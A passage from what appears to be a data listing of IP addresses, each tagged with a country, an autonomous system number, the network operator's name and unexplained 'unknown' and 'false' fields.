 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
223.55.216.231
 unknown Korea Republic of
9644 SKTELECOM-NET-ASSKTelecomKR false
59.157.81.229
 unknown Japan 10013 FBDCFreeBitCoLtdJP false
208.123.161.195
 unknown United States
19689 MST-ASUS false
81.212.26.10
 unknown Turkey
9121 TTNETTR false
213.102.112.175
 unknown Sweden
39651 COMHEM-SWEDENSE false
59.156.223.57
 unknown Japan 10013 FBDCFreeBitCoLtdJP false
135.148.79.104
 unknown United States
18676 AVAYAUS false
153.73.198.166
 unknown United States
14962 NCR-252US false
27.106.70.126
 unknown India
45194 SIPL-ASSysconInfowayPvtLtdIN false
88.233.108.153
 unknown Turkey
9121 TTNETTR false
216.178.236.71
 unknown United States
11303 DATARETURNUS false
135.248.112.62
 unknown United States
10455 LUCENT-CIOUS false